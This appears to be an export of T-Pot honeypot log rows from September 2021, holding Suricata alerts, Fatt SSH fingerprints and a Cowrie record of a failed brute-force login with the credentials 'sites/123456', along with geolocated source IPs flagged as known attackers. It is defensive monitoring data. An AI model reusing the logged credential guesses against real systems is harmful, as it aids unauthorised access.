YTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53462, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:10:59.306862Z", "@timestamp": "2021-09-20T12:10:59.306Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......Ss..6*.......o....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	IN
35865	43.240.6.90	109.199.241.180	Fatt	2021-09-20 15:10:59.306862+03	2021-09-20 15:15:03.822689+03	{"_id": "HQYdA3wBvYTbRNuE2V93", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53462, "dest_port": 22, "timestamp": "2021-09-20T12:10:59.306862", "@timestamp": "2021-09-20T12:10:59.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	IN
45362	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:30:15.018003+03	2021-09-20 16:45:02.84559+03	{"_id": "_AZmA3wBvYTbRNuEaaIT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:30:15.018003Z", "@timestamp": "2021-09-20T13:30:15.018Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35866	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:10:27.605866+03	2021-09-20 15:15:03.82369+03	{"_id": "igYdA3wBvYTbRNuEWl4B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [sites/123456] failed", "session": "13674e4b23ac", "@version": "1", "password": "123456", "username": "sites", "timestamp": "2021-09-20T12:10:27.605866Z", "@timestamp": "2021-09-20T12:10:27.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35867	107.189.14.98	109.199.241.180	Suricata	2021-09-20 15:10:28.000266+03	2021-09-20 15:15:03.824689+03	{"_id": "jAYdA3wBvYTbRNuEX14M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/libhtp::request_uri_not_seen", "length": 9436, "http_port": 0}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.189.14.98", "asn": 53667, "as_org": "FranTech Solutions", "dma_code": 759, "latitude": 41.1034, "location": {"lat": 41.1034, "lon": -104.9059}, "timezone": "America/Denver", "city_name": "Cheyenne", "longitude": -104.9059, "postal_code": "82001", "region_code": "WY", "region_name": "Wyoming", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "tx_id": 1, "ip_rep": "known attacker", "src_ip": "107.189.14.98", "dest_ip": "192.168.20.116", "flow_id": 1573778995262769, "@version": "1", "metadata": {"flowints": {"http.anomaly.count": 1}}, "src_port": 44036, "dest_port": 80, "timestamp": "2021-09-20T12:10:28.000266Z", "@timestamp": "2021-09-20T12:10:28.000Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	known attacker	US
35868	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:28.000266+03	2021-09-20 15:15:03.825719+03	{"_id": "jQYdA3wBvYTbRNuEX14N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:27.242993+0000", "pkts_toclient": 13, "pkts_toserver": 14, "bytes_toclient": 10734, "bytes_toserver": 1150}, "host": "1ebe93606296", "http": {"url": "/libhtp::request_uri_not_seen", "length": 9436, "http_port": 0, "http_response_body": "OCIvPgo8dGl0bGU+CgkJb3duQ2xvdWQJCTwvdGl0bGU+CjxtZXRhIGNvbnRlbnQ9IklFPWVkZ2UiIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIvPgo8bWV0YSBjb250ZW50PSJuZXZlciIgbmFtZT0icmVmZXJyZXIiLz4KPG1ldGEgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBtaW5pbXVtLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAiIG5hbWU9InZpZXdwb3J0Ii8+CjxtZXRhIGNvbnRlbnQ9ImFwcC1pZD01NDM2NzIxNjkiIG5hbWU9ImFwcGxlLWl0dW5lcy1hcHAiLz4KPG1ldGEgY29udGVudD0iIzFkMmQ0NCIgbmFtZT0idGhlbWUtY29sb3IiLz4KPGxpbmsgaHJlZj0iL2NvcmUvaW1nL2Zhdmljb24uaWNvIiByZWw9Imljb24iLz4KPGxpbmsgaHJlZj0iL2NvcmUvaW1nL2Zhdmljb24tdG91Y2gucG5nIiByZWw9ImFwcGxlLXRvdWNoLWljb24tcHJlY29tcG9zZWQiLz4KPGxpbmsgY29sb3I9IiMxZDJkNDQiIGhyZWY9Ii9jb3JlL2ltZy9mYXZpY29uLW1hc2suc3ZnIiByZWw9Im1hc2staWNvbiIgc2l6ZXM9ImFueSIvPgo8bGluayBocmVmPSIvY29yZS92ZW5kb3Ivc2VsZWN0Mi9zZWxlY3QyLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL3N0eWxlcy5jc3M/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiIgcmVsPSJzdHlsZXNoZWV0Ii8+CjxsaW5rIGhyZWY9Ii9jb3JlL2Nzcy9pbnB1dHMuY3NzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiIHJlbD0ic3R5bGVzaGVldCIvPgo8bGluayBocmVmPSIvY29yZS9jc3MvaGVhZGVyLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL2ljb25zLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL2ZvbnRzLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL2FwcHMuY3NzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiIHJlbD0ic3R5bGVzaGVldCIvPgo8bGluayBocmVmPSIvY29yZS9jc3MvZ2xvYmFsLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL2ZpeGVzLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL211bHRpc2VsZWN0LmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL21vYmlsZS5jc3M/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiIgcmVsPSJzdHlsZXNoZWV0Ii8+CjxsaW5rIGhyZWY9Ii9jb3JlL3ZlbmRvci9qcXVlcnktdWkvdGhlbWVzL2Jhc2UvanF1ZXJ5LXVpLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL2pxdWVyeS11aS1maXhlcy5jc3M/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiIgcmVsPSJzdHlsZXNoZWV0Ii8+CjxsaW5rIGhyZWY9Ii9jb3JlL2Nzcy90b29sdGlwLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL3NoYXJlLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2FwcHMvZmlsZXNfdmVyc2lvbnMvY3NzL3ZlcnNpb25zLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2FwcHMvZmlsZXNfdmlkZW9wbGF5ZXIvY3NzL3N0eWxlLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2FwcHMvZmlyc3RydW53aXphcmQvY3NzL2NvbG9yYm94LmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2FwcHMvZmlyc3RydW53aXphcmQvY3NzL2ZpcnN0cnVud2l6YXJkLmNzcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIiByZWw9InN0eWxlc2hlZXQiLz4KPGxpbmsgaHJlZj0iL2NvcmUvY3NzL2pxdWVyeS5vY2RpYWxvZy5jc3M/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiIgcmVsPSJzdHlsZXNoZWV0Ii8+CjxzY3JpcHQgc3JjPSIvaW5kZXgucGhwL2NvcmUvanMvb2MuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3IvanF1ZXJ5L2Rpc3QvanF1ZXJ5Lm1pbi5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL3ZlbmRvci9qcXVlcnktbWlncmF0ZS9qcXVlcnktbWlncmF0ZS5taW4uanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3IvanF1ZXJ5LXVpL3VpL2pxdWVyeS11aS5jdXN0b20uanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3IvdW5kZXJzY29yZS91bmRlcnNjb3JlLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvdmVuZG9yL21vbWVudC9taW4vbW9tZW50LXdpdGgtbG9jYWxlcy5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL3ZlbmRvci9oYW5kbGViYXJzL2hhbmRsZWJhcnMuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3IvYmx1ZWltcC1tZDUvanMvbWQ1LmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvdmVuZG9yL2Jvb3RzdHJhcC9qcy90b29sdGlwLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvdmVuZG9yL2JhY2tib25lL2JhY2tib25lLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvdmVuZG9yL2VzNi1wcm9taXNlL2Rpc3QvZXM2LXByb21pc2UuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3IvZGF2Y2xpZW50LmpzL2xpYi9jbGllbnQuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3IvY2xpcGJvYXJkL2Rpc3QvY2xpcGJvYXJkLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvdmVuZG9yL2Jvd3Nlci9zcmMvYm93c2VyLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvanF1ZXJ5Lm9jZGlhbG9nLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvb2MtZGlhbG9ncy5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL2pzLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvbDEwbi5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL29jdGVtcGxhdGUuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9ldmVudHNvdXJjZS5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL2NvbmZpZy5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL3NlYXJjaC9qcy9zZWFyY2guanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9vYy1yZXF1ZXN0dG9rZW4uanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9hcHBzLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvbWltZXR5cGUuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9taW1ldHlwZWxpc3QuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3Ivc25hcGpzL2Rpc3QvbGF0ZXN0L3NuYXAuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS92ZW5kb3Ivc2VsZWN0Mi9zZWxlY3QyLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvb2MtYmFja2JvbmUuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9wbGFjZWhvbGRlci5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL2pxdWVyeS5hdmF0YXIuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9iYWNrZ3JvdW5kam9icy5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL3NoYXJlY29uZmlnbW9kZWwuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9zaGFyZW1vZGVsLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvc2hhcmVzY29sbGVjdGlvbi5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL3NoYXJlaXRlbW1vZGVsLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvc2hhcmVkaWFsb2dyZXNoYXJlcmluZm92aWV3LmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvc2hhcmVkaWFsb2dsaW5rbGlzdHZpZXcuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9zaGFyZWRpYWxvZ2xpbmtzaGFyZXZpZXcuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9zaGFyZWRpYWxvZ21haWx2aWV3LmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvc2hhcmVkaWFsb2dsaW5rc29jaWFsdmlldy5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL3NoYXJlZGlhbG9nZXhwaXJhdGlvbnZpZXcuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvY29yZS9qcy9zaGFyZWRpYWxvZ3NoYXJlZWxpc3R2aWV3LmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvc2hhcmVkaWFsb2d2aWV3LmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvc2hhcmUuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvYXBwcy9maWxlc192aWRlb3BsYXllci9qcy92aWV3ZXIuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvYXBwcy9maXJzdHJ1bndpemFyZC9qcy9qcXVlcnkuY29sb3Jib3guanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvYXBwcy9maXJzdHJ1bndpemFyZC9qcy9maXJzdHJ1bndpemFyZC5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL2ZpbGVzL2ZpbGVpbmZvLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvZmlsZXMvY2xpZW50LmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvdmVuZG9yL2pzVGltZXpvbmVEZXRlY3QvanN0ei5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL3Zpc2l0b3J0aW1lem9uZS5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL2xvc3RwYXNzd29yZC5qcz92PWE5ZTFhNjAwZDhhMTU5MzNjODZkY2FkMjI4NDY3NmNmIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii9jb3JlL2pzL2xvZ2luLmpzP3Y9YTllMWE2MDBkOGExNTkzM2M4NmRjYWQyMjg0Njc2Y2YiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iL2NvcmUvanMvYnJvd3Nlci11cGRhdGUuanM/dj1hOWUxYTYwMGQ4YTE1OTMzYzg2ZGNhZDIyODQ2NzZjZiI+PC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgaWQ9ImJvZHktbG9naW4iPgo8bm9zY3JpcHQ+CjxkaXYgaWQ9Im5vamF2YXNjcmlwdCI+CjxkaXY+CgkJCVRoaXMgYXBwbGljYXRpb24gcmVxdWlyZXMgSmF2YVNjcmlwdCBmb3IgY29ycmVjdCBvcGVyYXRpb24uIFBsZWFzZSA8YSBocmVmPSJodHRwOi8vZW5hYmxlLWphdmFzY3JpcHQuY29tLyIgcmVsPSJub3JlZmVycmVyIiB0YXJnZXQ9Il9ibGFuayI+ZW5hYmxlIEphdmFTY3JpcHQ8L2E+IGFuZCByZWxvYWQgdGhlIHBhZ2UuCQk8L2Rpdj4KPC9kaXY+Cjwvbm9zY3JpcHQ+CjxkaXYgY2xhc3M9IndyYXBwZXIiPgo8ZGl2IGNsYXNzPSJ2LWFsaWduIj4KPGhlYWRlciByb2xlPSJiYW5uZXIiPgo8ZGl2IGlkPSJoZWFkZXIiPgo8ZGl2IGNsYXNzPSJsb2dvIj4KPGgxIGNsYXNzPSJoaWRkZW4tdmlzdWFsbHkiPgoJCQkJC